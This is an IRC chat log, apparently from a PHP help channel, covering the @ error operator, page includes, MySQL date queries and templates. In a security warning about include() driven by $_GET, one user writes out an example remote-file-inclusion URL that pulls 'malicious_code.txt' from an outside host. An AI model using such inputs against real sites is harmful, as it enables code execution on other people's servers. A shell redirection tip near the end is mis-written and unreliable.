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<0> thanks guys...
<1> hi there
<2> hey - in php5 can i still set max_post_size in the php.ini?
<3> ok thanks
<4> yes
<5> !tell Sier about AOLBonics
<2> and uploads_max_filesize - as i understood it i could - but it does seem to be failing
<5> Stormchaser, Priv messages usually work better in my opinion. :P
<3> ok sorry eml
<3> bye
<6> eml: The messge I put out is ment for general public. INCLUDING the person directed to it. If they can't read -- tough luck.
<5> Stormchaser, *DUH*, corrected once again. :P
<7> a mushroom...
<6> a voodoo doll...
<7> that's not a room...
<8> vroom
<6> it can be... If youre trapped inside...
<8> a broom
<3> sheep
<7> zoom zoom
<9> whats the difference between function and @function ?
<8> ok this game ****s
<3> beeh beeh
<10> KingDavid: the @ suppresses error output
<6> Sier: *blink*
<8> KingDavid: @ masks error messages
<6> !+@
<11> [@] The PHP error control operator that suppresses errors (@foo()), see: http://php.net/operators.errorcontrol - Don't use it. Think I'm wrong? Ask me about "GO".
<5> !tell myself about GO
<7> !tell me about GO
<3> !+too many connections
<10> !+msg the bot
<11> Unless you're a ##PHP channel operator, please speak to the bot in private.
<6> !+msg the bot
<8> GO is nice faq
<3> sorry my friends
<6> damn
<5> Hmm, what about using the @-operator in a MySQL-cl***?
<3> [16:35:26] <11> i don't know
<12> what bot?
<13> @echo off :D
<12> oh lol
<3> what king of answer is that?
<12> i just set up a bot :)
<12> wanna see?
<8> eml: what about it
<6> gawd
<12> err actually you cant really see it
<3> i thought the bot knew everything :{
<7> isn't there a go statement in php...
<8> tobmoox: no
<12> its on a p***worded page
<12> but i got it to spot links in irc and put em on the page :))
<10> Alystair: citing MS-DOS batch files may get you dragged out and beaten ;)
<6> Sier: It ignores stupid prople
<8> CoryK: who said it was?
<3> oh.. only allow geeks questions?
<5> ||cw, Even though it sais "what ops consider best practise", is it still something that might be used without any bugs/weird behaviour appearing?
<7> i dunno, i thought it was
<6> Sier: Don't... Just... Don't...
<3> thanks for the great support :D
<7> i guess i should return to my project
<8> eml: "best practice" would be for your mysql cl*** to set error_reporting to 0 and then set it back when its done
<8> eml: or something liek that
<14> that's exactly what @ does
<8> eml: maybe set it to log instead, anythign but having php echo wanrings to the browser
<5> Oh, so rather then using @ I could just set error reporting in a function (is that possible) to actually gain performance?
<8> et: not exactly
<10> eml: it's possible, sure.
<10> eml: there are other ways to handle errors though.
<8> eml: I'm not there would be a measurable performance gain
<5> ||cw, Well, if there's say 1000 users browsing, then I guess it would show?
<10> eml: in some cases errors will occur anyway, even though you've opted to handle them a different way. in those cases, '@' may be desireable
<5> caffinated, Ah, okay.
<8> eml: well, the errors should be the eception not the norm, so it realy should not matter
<10> eml: if you do use it, be careful of how though. it can sometimes be confusing if things are breaking and you've suppressed errors.
<5> caffinated, Yeah, I will of course change this ONLY when I know things are working.
<14> eml: @include in particular can be a major source of headaches ;)
<5> et, :) I will not include anything that could return false though (except if someone's trolling my server). :P
<7> but it can also help so that you don't reveal information regarding your system...
<5> Yer.
<6> CoryK: "custom error handler"
<14> eml: well, even then, if you include for example a config file... you got a typo in the config file, triggers a parse error, but nothing shows up, site just stays blank
<5> I've got another question too. I manage my page through $_GET, like site/?pageLocation=index and then check if the file exists, then include it. Have you got anything against that method?
<10> eml: yep
<5> et, Ah, ok. I meant that I won't use @include though.
<5> caffinated, Regarding performance or anything else?
<10> eml: if you're not doing proper validation i can use it to inject files in your include which could then get executed on your server.
<5> caffinated, if (isset($_GET["loc"]) && $_GET["loc"] != "" && isfile)
<7> the way i've seen it done is a friend kept a list of those files which are allowed to be included, and if it's not on the list he spits out a error message
<10> eml: consider what might happen if i did something like this: http://yourserver.com/page=@http://myserver.com/malicious_code.txt
<5> caffinated, Oh! Thanks. CoryK, I'll do that instead.
<5> caffinated, You just saved my entire site.
<5> caffinated, Altough, I could check if it exists on my machine only using the real path. But I guess the way CoryK said is a lot better.
<7> that's not the way i do it though
<10> eml: you could, but it's just better not to allow the user to specify anything inside an include()
<5> CoryK, You just use lotsofpages.php and link to them?
<7> i just use a switch statement
<10> well, nothing in the parameter that is
<15> Hiya gurus. I have a datetime entry in one of my tables. Currently to grab a row that occurred 'today' I use: WHERE TO_DAYS(NOW()) = TO_DAYS(datestamp) . What I'm trying to do now is to provide rows returned that have occurred within 24 hours. Any pointers?
<7> and actually i have a function that fetches the page from the db
<5> caffinated, Yeah, probably. It would ease up for me structure-wise only. That why I used it.
<16> is there a simple way to get incoming mail saved into a mysql database?
<10> eml: well, seperating out some kind of switch() dispatcher is fairly easy, and can be moved to a seperate include to keep it clean
<16> would I be better off using someone elses project?
<10> darnit: http://php.net/mysql
<8> kyndig: #mysql #pgsql #sql
<15> darnit : pipe the email through a parser in php
<15> ||cw asked in mysql, nod. thanks, trying my hand with the geeks that breathe this type of application for website usage on a regular basis ( query is written in php if its any help )
<8> darnit: setup a script alias that pipes the mail to your script
<15> darnit : phorum.org has a good example that I use to this day for doing just that
<17> could anyone please help me with this ---> http://pastebin.com/714067
<8> kyndig: queries are written in sql, not php
<16> ok thanbks
<8> kyndig: and there is definaly nothing specific to php in your question, it's just mysql function usage
<18> I'm working on a small slip of code, and i keep getting parse errors. I'm certain I'm missing something HORRIBLY obvious, but for the life of me I can't find it. The code is http://pastebin.com/714190 . ANy help would be appreciated
<8> kdean06: what the error
<8> kdean06: why are you echoing php tags?
<19> ^
<7> would it be wise to use templates to sort of seperate the code from the display?
<15> hmm, well _that_ didn't work ::stares as the page spits out a ton of rows::
<15> CoryK : only if you plan on updating/reusing/reading the code in the future
<8> kyndig: try it on the mysql command line, or phpmyadmin, first. select the TO_DAYS values to see what they are
<8> i don't even knwo that todays is the right functon to use, #mysql should be able to verify that
<8> or the manual
<20> hiya. I have a php script that executes some shell commands, and I want to redirect stdout and stderr all to a log file. What's the best way to do that?
<15> CoryK : they're awesome for seperating the code for those quick little tweaks. The more up to date internal sql row-query templates though I havn't had much use for. ( I still drop in appended variables with <tr><td> values to fill tables ) ..but for layout it is perfect ( phplib template user of 4 years )
<7> i think ill outsource it, so then it's some other pour saps job to maintain my horribly hacked together code;)
<15> CoryK : I'll take the job, not doin anything this weekend and have a decent template/sql hack I use on this end (several home grown cl***es to get rid of redundancy in functionality as well)
<8> xian_: foo 2&1> log
<8> i think
<20> I'll try!
<15> WHERE datestamp >= NOW() - INTERVAL 24 HOUR
<17> could anyone please help me with this ---> http://pastebin.com/714067
<8> kyndig: I've used phplib forever too, tried PEAR's IT template yet? the blocks are handled in a much more sane way, pretty usefull for repeating rows
<20> dj_flyby: looks like your $sql variable is missing ") at the end
<8> otherwise it's almost identical to phplib
<8> in fact, most of your templates will probably just work with it
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